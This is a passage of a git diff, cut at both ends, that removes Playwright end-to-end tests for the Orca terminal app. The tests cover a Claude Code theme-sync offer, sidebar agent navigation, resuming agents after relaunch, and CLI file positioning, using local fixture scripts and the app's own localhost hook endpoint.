claudeCodeThemeSync, claudeCodeThemeSyncOffer } = window.__store!.getState().settings! - return { claudeCodeThemeSync, claudeCodeThemeSyncOffer } - }) - // Existing profiles start with the sync off and an offer owed. - expect(await settings()).toEqual({ - claudeCodeThemeSync: false, - claudeCodeThemeSyncOffer: 'pending' - }) - await updateSettings({ - theme: appTheme, - terminalThemeDark: 'Tokyo Night', - terminalThemeLight: 'Tokyo Night Light', - terminalUseSeparateLightTheme: true - }) - const home = await electronApp.evaluate(({ app }) => app.getPath('home')) - const settingsPath = join(home, '.claude', 'settings.json') - const workDir = join(home, 'claude-theme-work') - mkdirSync(workDir, { recursive: true }) - mkdirSync(dirname(settingsPath), { recursive: true }) - writeFileSync( - join(home, '.claude.json'), - JSON.stringify({ - hasCompletedOnboarding: true, - projects: { [workDir]: { hasTrustDialogAccepted: true } } - }) - ) - const readSettings = (): Record => { - try { - return JSON.parse(readFileSync(settingsPath, 'utf-8')) - } catch { - return {} - } - } - writeFileSync(settingsPath, `${JSON.stringify({ ...readSettings(), theme: 'light' }, null, 2)}\n`) - const readThemeFile = () => { - try { - return readFileSync(join(home, '.claude', 'themes', 'orca.json'), 'utf-8') - } catch { - return '' - } - } - return { - home, - workDir, - ptyId: await discoverActivePtyId(orcaPage), - readTheme: () => readSettings().theme, - readThemeFile, - updateSettings, - shot: (name) => - orcaPage - .locator('.pane:visible .xterm-screen') - .first() - .screenshot({ path: testInfo.outputPath(`${name}.png`) }), - windowShot: (name) => orcaPage.screenshot({ path: testInfo.outputPath(`${name}.png`) }) - } -} - -const offerTitle = 'Match Claude Code to your Orca theme?' - -test('an existing user accepts the offer, then Claude Code follows the Orca theme live and restores', async ({ - electronApp, - orcaPage -}, testInfo) => { - // Real Claude Code launches, three live switches and a restore, each allowed Orca's reload retries. - test.setTimeout(6 * 60_000) - const journey = await startJourney(electronApp, orcaPage, testInfo, 'dark') - const { ptyId, workDir, readTheme, readThemeFile, updateSettings, shot, windowShot } = journey - - // Off matches main: Claude keeps its own light theme on the dark terminal, and Orca offers the sync once. - await startClaude(orcaPage, ptyId, workDir) - await expect - .poll(() => promptBorderColor(orcaPage), { timeout: 15_000 }) - .toBe(CLAUDE_LIGHT_BORDER) - await shot('before-dark') - const offer = orcaPage.locator('[data-sonner-toast]').filter({ hasText: offerTitle }) - // Agent detection for a typed `claude` can lag its first frame. - await expect(offer).toBeVisible({ timeout: 30_000 }) - // Shoot once the slide-in settled, so the proof shows the toast as users see it. - await expect(offer).toHaveAttribute('data-mounted', 'true') - await expect(offer).toBeInViewport({ ratio: 1 }) - await expect(offer).toHaveCSS('opacity', '1') - await windowShot('offer-toast-dark') - await offer.screenshot({ path: testInfo.outputPath('offer-toast-dark-closeup.png') }) - await offer.getByRole('button', { name: 'Match Theme' }).click() - await expect.poll(readTheme, { timeout: 30_000 }).toBe('custom:orca') - await expect.poll(readThemeFile, { timeout: 30_000 }).toContain('"promptBorder": "#7aa2f7"') - await exitClaude(orcaPage, ptyId) - - // The previous session's frames stay in scrollback; wait for the new session's border. - await startClaude(orcaPage, ptyId, workDir) - await expect.poll(() => promptBorderColor(orcaPage), { timeout: 15_000 }).toBe(TOKYO_NIGHT_ACCENT) - await shot('after-dark') - await expect(orcaPage.locator('[data-sonner-toast]').filter({ hasText: offerTitle })).toHaveCount( - 0 - ) - - // The running session recolors without a restart. - await updateSettings({ terminalThemeDark: 'Gruvbox Dark' }) - const darkSwitchMs = await expectLiveSwitch(orcaPage, TOKYO_NIGHT_ACCENT, GRUVBOX_DARK_ACCENT) - await shot('after-dark-live-gruvbox') - await updateSettings({ theme: 'light' }) - const lightSwitchMs = await expectLiveSwitch( - orcaPage, - GRUVBOX_DARK_ACCENT, - TOKYO_NIGHT_LIGHT_ACCENT - ) - await shot('after-light-live') - - // Turning it off through the real switch restores the user's theme, live too. - await orcaPage.evaluate(() => window.__store!.getState().openSettingsPage()) - await openSettingsSearchResult(orcaPage, 'Match Claude Code') - const toggle = orcaPage.getByRole('switch', { name: 'Match Claude Code to Terminal Theme' }) - await expect(toggle).toBeChecked() - await windowShot('settings-on-light') - await toggle.click() - await expect(toggle).not.toBeChecked() - await windowShot('settings-off-light') - await expect.poll(readTheme, { timeout: 15_000 }).toBe('light') - await orcaPage.evaluate(() => window.__store!.getState().closeSettingsPage()) - const restoreMs = await expectLiveSwitch(orcaPage, TOKYO_NIGHT_LIGHT_ACCENT, CLAUDE_LIGHT_BORDER) - await shot('restored-light') - - // The same switch in dark mode, off then on. - await updateSettings({ theme: 'dark' }) - await orcaPage.evaluate(() => window.__store!.getState().openSettingsPage()) - await openSettingsSearchResult(orcaPage, 'Match Claude Code') - await expect(toggle).not.toBeChecked() - await windowShot('settings-off-dark') - await toggle.click() - await expect(toggle).toBeChecked() - await expect.poll(readTheme, { timeout: 15_000 }).toBe('custom:orca') - await windowShot('settings-on-dark') - await orcaPage.evaluate(() => window.__store!.getState().closeSettingsPage()) - testInfo.annotations.push({ - type: 'live-switch-ms', - description: JSON.stringify({ darkSwitchMs, lightSwitchMs, restoreMs }) - }) - await exitClaude(orcaPage, ptyId) -}) - -test('an existing user who declines the offer keeps Claude Code as it was and is not asked again', async ({ - electronApp, - orcaPage -}, testInfo) => { - // Two real Claude Code launches. - test.setTimeout(3 * 60_000) - const { ptyId, workDir, readTheme, shot, windowShot } = await startJourney( - electronApp, - orcaPage, - testInfo, - 'light' - ) - await startClaude(orcaPage, ptyId, workDir) - const offer = orcaPage.locator('[data-sonner-toast]').filter({ hasText: offerTitle }) - // Agent detection for a typed `claude` can lag its first frame. - await expect(offer).toBeVisible({ timeout: 30_000 }) - // Shoot once the slide-in settled, so the proof shows the toast as users see it. - await expect(offer).toHaveAttribute('data-mounted', 'true') - await expect(offer).toBeInViewport({ ratio: 1 }) - await expect(offer).toHaveCSS('opacity', '1') - await windowShot('offer-toast-light') - await offer.screenshot({ path: testInfo.outputPath('offer-toast-light-closeup.png') }) - await offer.getByRole('button', { name: 'No Thanks' }).click() - await expect(offer).toHaveCount(0) - await expect - .poll(() => - orcaPage.evaluate(() => window.__store!.getState().settings!.claudeCodeThemeSyncOffer) - ) - .toBe('settled') - await exitClaude(orcaPage, ptyId) - await startClaude(orcaPage, ptyId, workDir) - await expect - .poll(() => promptBorderColor(orcaPage), { timeout: 15_000 }) - .toBe(CLAUDE_LIGHT_BORDER) - await shot('declined-light') - expect(readTheme()).toBe('light') - await expect(offer).toHaveCount(0) - await exitClaude(orcaPage, ptyId) -}) diff --git a/tests/e2e/claude-sidebar-agent-view.spec.ts b/tests/e2e/claude-sidebar-agent-view.spec.ts deleted file mode 100644 index f4b4b7a9f08..00000000000 --- a/tests/e2e/claude-sidebar-agent-view.spec.ts +++ /dev/null @@ -1,208 +0,0 @@ -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - sendToTerminal, - waitForTerminalOutput -} from './helpers/terminal' -import { dismissSetupScriptPrompts } from './helpers/sidebar-setup-prompt' -import { readHookEndpoint } from './helpers/agent-hook-endpoint' -import { readAgentProcess } from '../../src/shared/agent-status/process/agent-process-presence-probe' -import { retentionFixtureCommand } from './helpers/host-created-terminal-retention-oracle' - -const SESSION = '11111111-2222-4333-8444-555555555555' -const CHILD = 'sidebar-proof-child-id' - -test('sidebar child and parent clicks reach the exact Claude session without submitting a draft', async ({ - orcaPage, - electronApp, - registerPostElectronShutdownCleanup -}, testInfo) => { - test.skip(process.platform === 'win32', 'The PTY fixture uses POSIX raw mode') - const dir = mkdtempSync(join(tmpdir(), 'orca-sidebar-view-')) - registerPostElectronShutdownCleanup(async () => rmSync(dir, { recursive: true, force: true })) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - const endpoint = await readHookEndpoint(electronApp) - const fixture = join(dir, 'claude-fixture.mjs') - const sink = join(dir, 'events.jsonl') - writeFileSync( - fixture, - ` -import {appendFileSync} from 'node:fs' -process.title = 'claude' -const sink = process.argv[2] -const endpoint = ${JSON.stringify(endpoint)} -const identity = {paneKey:${JSON.stringify(descriptor.paneKey)},sessionId:${JSON.stringify(SESSION)},instanceId:'test-mod-instance'} -let agentId -let revision=1 -const record = value => appendFileSync(sink, JSON.stringify(value)+'\\n') -const post = async (action, extra={}) => (await fetch('http://127.0.0.1:'+endpoint.port+'/claude/agent-view',{method:'POST',headers:{'content-type':'application/json','x-orca-agent-hook-token':endpoint.token},body:JSON.stringify({...identity,action,...extra})})).json() -const register=()=>post('register',{keybindings:JSON.stringify({bindings:[{context:'Chat',bindings:{'ctrl+alt+g':'command:orca-agent-view'}}]}),view:{agentId,revision}}) -await register() -setInterval(register,5000) -process.stdin.setRawMode(true) -record({ready:process.pid}) -process.stdout.write('Claude view fixture ready\\r\\n') -let draft='ORCA_KEEP_DRAFT' -process.stdin.on('data',async bytes=>{ - const text=bytes.toString() - if(text==='\\x1b[103;7u') { - const request=await post('take') - if(!request.requestId)return - record({view:request.agentId||'main',draft}) - agentId=request.agentId - await post('observe',{view:{agentId,revision:++revision}}) - process.stdout.write('Viewing '+(request.agentId||'main')+' draft='+draft+'\\r\\n') - await post('ack',{requestId:request.requestId}) - } else if(text==='\x0b') { - agentId=agentId?undefined:${JSON.stringify(CHILD)} - await post('observe',{view:{agentId,revision:++revision}}) - } else {record({unexpected:text});draft+=text} -}) -process.stdin.resume() -` - ) - await execInTerminal(orcaPage, ptyId, retentionFixtureCommand(fixture, sink)) - const events = () => { - try { - return readFileSync(sink, 'utf8') - .trim() - .split('\n') - .map((line) => JSON.parse(line)) - } catch { - return [] - } - } - await expect.poll(() => events()[0]?.ready).toBeTruthy() - const pid = events()[0].ready - const processIdentity = await readAgentProcess(pid) - if (processIdentity.verdict !== 'live') { - throw new Error('Fixture process must be verifiable') - } - const postHook = async (payload: Record) => { - const response = await fetch(`http://127.0.0.1:${endpoint.port}/hook/claude`, { - method: 'POST', - headers: { 'content-type': 'application/json', 'x-orca-agent-hook-token': endpoint.token }, - body: JSON.stringify({ - ...descriptor, - tabId: descriptor.paneKey.split(':')[0], - env: endpoint.env, - version: endpoint.version, - agentProcess: { pid, platform: process.platform, startTime: processIdentity.startTime }, - payload: { session_id: SESSION, ...payload } - }) - }) - expect(response.status).toBe(204) - } - await postHook({ hook_event_name: 'UserPromptSubmit', prompt: 'Sidebar parent proof' }) - await postHook({ hook_event_name: 'SubagentStart', agent_id: CHILD, agent_type: 'Explore' }) - await postHook({ - hook_event_name: 'Stop', - background_tasks: [ - { - id: CHILD, - type: 'subagent', - status: 'running', - description: 'Sidebar child proof', - agent_type: 'Explore' - } - ] - }) - await orcaPage.evaluate(() => { - const state = window.__store!.getState() - if (!state.worktreeCardProperties.includes('inline-agents')) { - state.setWorktreeCardProperties([...state.worktreeCardProperties, 'inline-agents']) - } - }) - await dismissSetupScriptPrompts(orcaPage) - const sidebar = orcaPage.locator('[data-worktree-sidebar]').first() - const parent = sidebar - .locator('.compact-agent-row') - .filter({ hasText: 'Sidebar parent proof' }) - .first() - await expect(parent).toBeVisible({ timeout: 15000 }) - const disclosure = parent.locator('[data-agent-child-disclosure-button]') - if ((await disclosure.getAttribute('aria-expanded')) !== 'true') { - await disclosure.click() - } - const child = sidebar - .locator('.compact-agent-row') - .filter({ hasText: 'Sidebar child proof' }) - .last() - await expect(child).toBeVisible() - await expect(parent).toHaveAttribute('aria-current', 'true') - await orcaPage.mouse.move(20, 20) - await expect( - orcaPage.getByRole('tooltip').filter({ hasText: 'Workspace board moved to the bottom bar' }) - ).toBeHidden({ timeout: 20000 }) - await orcaPage.screenshot({ - path: testInfo.outputPath('before-agent-navigation.png'), - animations: 'disabled' - }) - await parent.click() - await expect(parent).toHaveAttribute('aria-current', 'true') - expect(events().filter((event) => event.view)).toEqual([]) - await child.click() - await expect - .poll(() => events().find((event) => event.view === CHILD)) - .toEqual({ view: CHILD, draft: 'ORCA_KEEP_DRAFT' }) - await waitForTerminalOutput(orcaPage, `Viewing ${CHILD} draft=ORCA_KEEP_DRAFT`) - await expect(child).toHaveAttribute('aria-current', 'true') - await expect(parent).not.toHaveAttribute('aria-current') - await child.click() - await expect(child).toHaveAttribute('aria-current', 'true') - expect(events().filter((event) => event.view)).toHaveLength(1) - await orcaPage.screenshot({ - path: testInfo.outputPath('after-child-navigation.png'), - animations: 'disabled' - }) - await parent.click() - await expect - .poll(() => events().find((event) => event.view === 'main')) - .toEqual({ view: 'main', draft: 'ORCA_KEEP_DRAFT' }) - await expect(parent).toHaveAttribute('aria-current', 'true') - await expect(child).not.toHaveAttribute('aria-current') - await sendToTerminal(orcaPage, ptyId, '\x0b') - await expect(child).toHaveAttribute('aria-current', 'true') - await disclosure.click() - await expect(disclosure).toHaveAttribute('aria-expanded', 'false') - await expect(child.locator('xpath=ancestor::*[@inert]')).toHaveCount(1) - await orcaPage.screenshot({ path: testInfo.outputPath('collapsed-child.png') }) - await disclosure.click() - await sendToTerminal(orcaPage, ptyId, '\x0b') - await expect(parent).toHaveAttribute('aria-current', 'true') - expect(events().filter((event) => event.unexpected)).toEqual([]) - await orcaPage.evaluate(() => window.__store!.getState().setAgentActivityDisplayMode('full')) - const fullChild = sidebar - .locator('[role="treeitem"]') - .filter({ hasText: 'Sidebar child proof' }) - .last() - await fullChild.click() - await expect.poll(() => events().filter((event) => event.view === CHILD).length).toBe(2) - await expect(fullChild).toHaveAttribute('aria-current', 'true') - const fullParent = sidebar - .locator('.agent-disclosure-row') - .filter({ hasText: 'Sidebar parent proof' }) - .first() - await fullParent.click() - await expect.poll(() => events().filter((event) => event.view === 'main').length).toBe(2) - await expect(fullParent).toHaveAttribute('aria-current', 'true') - expect( - events() - .filter((event) => event.view) - .every((event) => event.draft === 'ORCA_KEEP_DRAFT') - ).toBe(true) - expect(events().filter((event) => event.unexpected)).toEqual([]) - await orcaPage.screenshot({ path: testInfo.outputPath('sidebar-agent-navigation.png') }) -}) diff --git a/tests/e2e/cli-agent-unopened-workspace-resume.spec.ts b/tests/e2e/cli-agent-unopened-workspace-resume.spec.ts deleted file mode 100644 index 09e26642d14..00000000000 --- a/tests/e2e/cli-agent-unopened-workspace-resume.spec.ts +++ /dev/null @@ -1,196 +0,0 @@ -// Persist a CLI-started agent the window never opened, then cold-resume it after relaunch with the daemon gone. -import { chmodSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { makePaneKey } from '../../src/shared/workspace-layout/stable-pane-id' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { emitCodexHookStatus, readHookEndpoint } from './helpers/agent-hook-endpoint' -import { - mutateStoppedProfileState, - readPersistedProfileState -} from './helpers/persisted-profile-state' -import { - createHostCliTerminal, - createRetentionFixtureDirectory, - writeRetentionFixture, - type RuntimeRpcCall -} from './helpers/host-created-terminal-retention-oracle' - -type SleepingRecords = Record - -function sleepingRecords(state: unknown): SleepingRecords { - if (!state || typeof state !== 'object' || !('workspaceSession' in state)) { - return {} - } - const session: unknown = state.workspaceSession - if (!session || typeof session !== 'object' || !('sleepingAgentSessionsByPaneKey' in session)) { - return {} - } - const records: unknown = session.sleepingAgentSessionsByPaneKey - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the persisted map is keyed by pane key; the test reads only `launchConfig`. - return records && typeof records === 'object' ? (records as SleepingRecords) : {} -} - -function readDaemonPid(userDataDir: string): number { - const raw = readFileSync( - path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), - 'utf8' - ) - const parsed: unknown = JSON.parse(raw) - const pid = parsed && typeof parsed === 'object' && 'pid' in parsed ? parsed.pid : undefined - if (typeof pid !== 'number') { - throw new Error(`Daemon pid file did not contain a numeric pid: ${raw}`) - } - return pid -} - -const scratch = createRetentionFixtureDirectory() -const fixturePath = writeRetentionFixture(scratch) -test.afterAll(() => rmSync(scratch, { recursive: true, force: true })) - -// oxlint-disable-next-line no-empty-pattern -- Owns both app launches; Playwright needs the fixtures argument. -test('a CLI agent in a never-opened workspace resumes after quit and relaunch', async ({}, testInfo) => { - test.setTimeout(400_000) - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - const dir = testInfo.outputPath() - const fakeAgent = path.join(dir, 'fake-agent.sh') - const resumeLog = path.join(dir, 'resumes.log') - writeFileSync(resumeLog, '') - writeFileSync( - fakeAgent, - `#!/bin/sh\nprintf '%s\\n' "$ORCA_PANE_KEY" >> '${resumeLog}'\nexec sleep 3600\n` - ) - chmodSync(fakeAgent, 0o755) - const resumedPaneKeys = (): string[] => - readFileSync(resumeLog, 'utf8').split('\n').filter(Boolean) - - const session = createRestartSession(testInfo) - let app = (await session.launch()).app - try { - const page = await app.firstWindow() - const active = await attachRepoAndOpenTerminal(page, repoPath) - await waitForSessionReady(page) - const call: RuntimeRpcCall = async (method: string, params: unknown) => - (await new RuntimeClient(session.userDataDir, 30_000, null, null).call(method, params)) - .result - await expect - .poll( - () => - page.evaluate(async () => { - const state = window.__store!.getState() - const repo = state.repos[0]! - await state.updateRepo(repo.id, { externalWorktreeVisibility: 'show' }) - await window.__store!.getState().fetchWorktrees(repo.id) - return window.__store!.getState().allWorktrees().length - }), - { timeout: 60_000 } - ) - .toBeGreaterThan(1) - const unopened = await page.evaluate( - (activeId) => - window - .__store!.getState() - .allWorktrees() - .find((worktree) => worktree.id !== activeId)!.id, - active - ) - for (const id of [active, unopened]) { - await expect - .poll( - () => - call('worktree.show', { worktree: `id:${id}` }).then( - () => true, - () => false - ), - { timeout: 120_000 } - ) - .toBe(true) - } - const cli = await createHostCliTerminal( - call, - unopened, - fixturePath, - path.join(scratch, 'unopened.log') - ) - const paneKey = makePaneKey(cli.tabId, cli.leafId) - const sessionId = `unopened-${Date.now()}` - session.seedCodexResumeRollout(sessionId, repoPath) - const endpoint = await readHookEndpoint(app) - await emitCodexHookStatus(endpoint, { - paneKey, - worktreeId: unopened, - state: 'working', - prompt: 'keep working', - sessionId - }) - // The precondition: the window never holds the tab, so only main can keep its record. - await expect - .poll(() => - page.evaluate( - (key) => window.__store!.getState().sleepingAgentSessionsByPaneKey[key] !== undefined, - paneKey - ) - ) - .toBe(true) - expect( - await page.evaluate( - ({ worktreeId, tabId }) => - (window.__store!.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { worktreeId: unopened, tabId: cli.tabId } - ) - ).toBe(false) - - const daemonPid = readDaemonPid(session.userDataDir) - await session.close(app) - expect(Object.keys(sleepingRecords(readPersistedProfileState(session.userDataDir)))).toContain( - paneKey - ) - // Resume through a stand-in that logs its pane, so the resume is observable. - mutateStoppedProfileState(session.userDataDir, (state) => { - sleepingRecords(state)[paneKey]!.launchConfig = { - agentCommand: fakeAgent, - agentArgs: '', - agentEnv: {} - } - }) - // As after a reboot: the agent's terminal is gone, so only the record can bring it back. - process.kill(daemonPid, 'SIGKILL') - - const second = await session.launch() - app = second.app - await waitForSessionReady(second.page) - await waitForActiveWorktree(second.page) - await second.page.evaluate( - (worktreeId) => window.__store!.getState().setActiveWorktree(worktreeId), - unopened - ) - await expect - .poll( - () => - second.page.evaluate( - ({ worktreeId, tabId }) => - (window.__store!.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { worktreeId: unopened, tabId: cli.tabId } - ), - { timeout: 30_000 } - ) - .toBe(true) - await second.page.evaluate((tabId) => { - const state = window.__store!.getState() - state.setActiveTab(tabId) - state.setActiveTabType('terminal', state.activeWorktreeId) - }, cli.tabId) - await expect.poll(resumedPaneKeys, { timeout: 30_000 }).toEqual([paneKey]) - } finally { - await session.close(app).catch(() => undefined) - await session.dispose() - } -}) diff --git a/tests/e2e/cli-file-open-position.spec.ts b/tests/e2e/cli-file-open-position.spec.ts deleted file mode 100644 index df5ede359e6..00000000000 --- a/tests/e2e/cli-file-open-position.spec.ts +++ /dev/null @@ -1,211 +0,0 @@ -import { writeFileSync, rmSync, mkdirSync } from 'node:fs' -import path from 'node:path' -import { runProcess } from '@orca/process-host' -import { expect, test } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -// The fixture's hidden renderer is driven and captured through Playwright's CDP connection. -test('CLI file positioning preserves background navigation and reveals the requested line', async ({ - electronApp, - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - const root = await orcaPage.evaluate( - (id) => - Object.values(window.__store?.getState().worktreesByRepo ?? {}) - .flat() - .find((worktree) => worktree.id === id)?.path ?? '', - worktreeId - ) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const relativePath = 'cli-position-proof.ts' - const filePath = path.join(root, relativePath) - writeFileSync( - filePath, - Array.from({ length: 400 }, (_, index) => `const line${index + 1} = ${index + 1}`).join('\n') - ) - - const open = async (flags: string[]): Promise => { - const result = await runProcess({ - program: process.execPath, - args: [ - path.join(process.cwd(), 'out', 'cli', 'index.js'), - 'file', - 'open', - relativePath, - '--worktree', - `id:${worktreeId}`, - '--json', - ...flags - ], - env: { ...process.env, ORCA_USER_DATA_PATH: userDataDir }, - timeoutMs: 30_000 - }) - expect(result.code, result.stderr).toBe(0) - } - const cursor = () => - orcaPage.evaluate(() => { - const probe = window.__monacoEditorE2E - const snapshot = probe?.snapshot() - return { - line: snapshot?.selection?.positionLineNumber, - column: snapshot?.selection?.positionColumn, - visible: snapshot?.visibleRanges - } - }) - const proofDir = path.join(process.cwd(), 'validation-screenshots', 'file-position') - mkdirSync(proofDir, { recursive: true }) - try { - await open(['--focus']) - await expect(orcaPage.locator('.editor-header-path').first()).toContainText(relativePath) - await expect.poll(async () => (await cursor()).line).toBe(1) - await testInfo.attach('before-default-file-open.png', { - body: await orcaPage.screenshot({ path: path.join(proofDir, 'before.png') }), - contentType: 'image/png' - }) - await open(['--line', '300', '--column', '7']) - await orcaPage.evaluate( - () => - new Promise((resolve) => - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - ) - ) - expect(await cursor()).toMatchObject({ line: 1, column: 1 }) - await open([]) - await orcaPage.evaluate((id) => { - const state = window.__store?.getState() - const tab = state?.getActiveTab(id) - if (!state || !tab) { - throw new Error('No active editor tab') - } - state.createTab(id) - state.activateTab(tab.id) - }, worktreeId) - await orcaPage.evaluate( - () => - new Promise((resolve) => - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - ) - ) - expect(await orcaPage.evaluate(() => window.__store?.getState().pendingEditorReveal)).toBeNull() - expect(await cursor()).toMatchObject({ line: 1, column: 1 }) - await open(['--line', '300', '--column', '7', '--focus']) - await expect - .poll(async () => { - const position = await cursor() - return { line: position.line, column: position.column } - }) - .toEqual({ line: 300, column: 7 }) - await expect - .poll(async () => - (await cursor()).visible?.some( - (range) => range.startLineNumber <= 300 && range.endLineNumber >= 300 - ) - ) - .toBe(true) - await testInfo.attach('after-line-300-column-7.png', { - body: await orcaPage.screenshot({ path: path.join(proofDir, 'after.png') }), - contentType: 'image/png' - }) - await open(['--line', '1', '--focus']) - await expect.poll(async () => (await cursor()).line).toBe(1) - const split = await orcaPage.evaluate((id) => { - const state = window.__store?.getState() - const tab = state?.getActiveTab(id) - if (!state || !tab) { - throw new Error('No active editor tab') - } - const siblingGroupId = state.createEmptySplitGroup(id, tab.groupId, 'right') - if (!siblingGroupId) { - throw new Error('Split group was not created') - } - return { tabId: tab.id, groupId: tab.groupId, siblingGroupId } - }, worktreeId) - await orcaPage.evaluate( - () => - new Promise((resolve) => - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - ) - ) - await expect.poll(async () => (await cursor()).line).toBe(1) - const targetProbe = await orcaPage.evaluateHandle(() => window.__monacoEditorE2E) - await orcaPage.evaluate( - ({ id, split }) => { - const state = window.__store?.getState() - const tab = state?.unifiedTabsByWorktree[id]?.find((item) => item.id === split.tabId) - if (!state || !tab) { - throw new Error('Editor tab missing') - } - state.createUnifiedTab(id, tab.contentType, { - entityId: tab.entityId, - label: tab.label, - targetGroupId: split.siblingGroupId - }) - state.focusGroup(id, split.groupId) - }, - { id: worktreeId, split } - ) - await expect(orcaPage.locator('.monaco-editor:visible')).toHaveCount(2) - const siblingProbe = await orcaPage.evaluateHandle(() => window.__monacoEditorE2E) - expect(await targetProbe.evaluate((target, sibling) => target === sibling, siblingProbe)).toBe( - false - ) - await expect - .poll(() => siblingProbe.evaluate((probe) => probe?.snapshot().selection?.positionLineNumber)) - .toBe(1) - await orcaPage - .locator('.monaco-editor:visible') - .first() - .getByRole('textbox', { name: 'Editor content' }) - .focus() - await expect - .poll(() => - orcaPage.evaluate( - (id) => window.__store?.getState().activeGroupIdByWorktree[id], - worktreeId - ) - ) - .toBe(split.groupId) - await open(['--line', '300', '--column', '7', '--focus']) - await expect - .poll(() => - targetProbe.evaluate((probe) => { - const selection = probe?.snapshot().selection - return { line: selection?.positionLineNumber, column: selection?.positionColumn } - }) - ) - .toEqual({ line: 300, column: 7 }) - expect( - await siblingProbe.evaluate((probe) => { - const selection = probe?.snapshot().selection - return { line: selection?.positionLineNumber, column: selection?.positionColumn } - }) - ).toEqual({ line: 1, column: 1 }) - expect( - await orcaPage.evaluate( - (id) => window.__store?.getState().activeGroupIdByWorktree[id], - worktreeId - ) - ).toBe(split.groupId) - await expect - .poll(() => - targetProbe.evaluate((probe) => - probe - ?.snapshot() - .visibleRanges.some( - (range) => range.startLineNumber <= 300 && range.endLineNumber >= 300 - ) - ) - ) - .toBe(true) - await testInfo.attach('same-file-split-target-only.png', { - body: await orcaPage.screenshot({ path: path.join(proofDir, 'split.png') }), - contentType: 'image/png' - }) - await targetProbe.dispose() - await siblingProbe.dispose() - } finally { - rmSync(filePath, { force: true }) - } -}) diff --git a/tests/e2e/cli-first-worktree-single-terminal.spec.ts b/tests/e2e/cli-first-worktree-single-terminal.spec.ts deleted file mode 100644 index 3dcbf1b7166..00000000000 --- a/tests/e2e/cli-first-worktree-single-terminal.spec.ts +++ /dev/null @@ -1,119 +0,0 @@ -// A CLI-created terminal in an unopened workspace must remain one tab on first visit and after relaunch (main-owned layout). - -import { existsSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { switchToWorktree, waitForSessionReady } from './helpers/store' - -const LAYOUT_OWNER_BUILD = existsSync( - path.join(process.cwd(), 'out', 'main', 'ORCA_LAYOUT_OWNER_MAIN') -) - -type Tabs = { window: string[]; storedRows: string[]; storedTabBar: string[] } - -async function createWorktree(page: Page, name: string): Promise { - return page.evaluate(async (worktreeName) => { - const state = window.__store!.getState() - const repoId = state.allWorktrees()[0]?.repoId - if (!repoId) { - throw new Error('seed repo was not loaded') - } - return (await state.createWorktree(repoId, worktreeName, undefined, 'skip')).worktree.id - }, name) -} - -function createdTabId(reply: unknown): string | undefined { - const result = reply && typeof reply === 'object' && 'result' in reply ? reply.result : null - const terminal = - result && typeof result === 'object' && 'terminal' in result ? result.terminal : null - const tabId = - terminal && typeof terminal === 'object' && 'tabId' in terminal ? terminal.tabId : null - return typeof tabId === 'string' ? tabId : undefined -} - -/** The CLI's create: the runtime's `terminal.create`, in the background as a worker's would be. */ -async function createCliTerminal(page: Page, worktreeId: string): Promise { - const reply = await page.evaluate( - (id) => - window.api.runtime.call({ - method: 'terminal.create', - params: { - worktree: `id:${id}`, - command: 'sleep 600', - focus: false, - activate: false, - presentation: 'background' - } - }), - worktreeId - ) - const tabId = createdTabId(reply) - if (!tabId) { - throw new Error(`terminal.create gave no tab: ${JSON.stringify(reply).slice(0, 300)}`) - } - return tabId -} - -async function readTabs(page: Page, worktreeId: string): Promise { - return page.evaluate(async (id) => { - const session = await window.api.session.get() - return { - window: (window.__store!.getState().tabsByWorktree[id] ?? []).map((tab) => tab.id), - storedRows: (session.tabsByWorktree?.[id] ?? []).map((row) => row.id), - storedTabBar: (session.unifiedTabs?.[id] ?? []) - .filter((entry) => entry.contentType === 'terminal') - .map((entry) => entry.entityId) - } - }, worktreeId) -} - -/** Polls until the tabs read `expected` on three reads in a row: a late duplicate fails it. */ -async function expectSettledTabs(page: Page, worktreeId: string, expected: Tabs): Promise { - let streak = 0 - await expect - .poll( - async () => { - const tabs = await readTabs(page, worktreeId) - streak = JSON.stringify(tabs) === JSON.stringify(expected) ? streak + 1 : 0 - return streak >= 3 ? tabs : { ...tabs, streak } - }, - { timeout: 30_000, intervals: [500] } - ) - .toEqual(expected) -} - -test('a CLI-started terminal in a never-opened worktree shows as its one tab, before and after a relaunch', async ({ - testRepoPath -}, testInfo) => { - test.skip(!LAYOUT_OWNER_BUILD, 'layout-owner build only') - const session = createRestartSession(testInfo) - let app: Awaited>['app'] | undefined - try { - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await attachRepoAndOpenTerminal(first.page, testRepoPath) - const worktreeId = await createWorktree(first.page, `cli-first-${Date.now()}`) - const cliTabId = await createCliTerminal(first.page, worktreeId) - const one: Tabs = 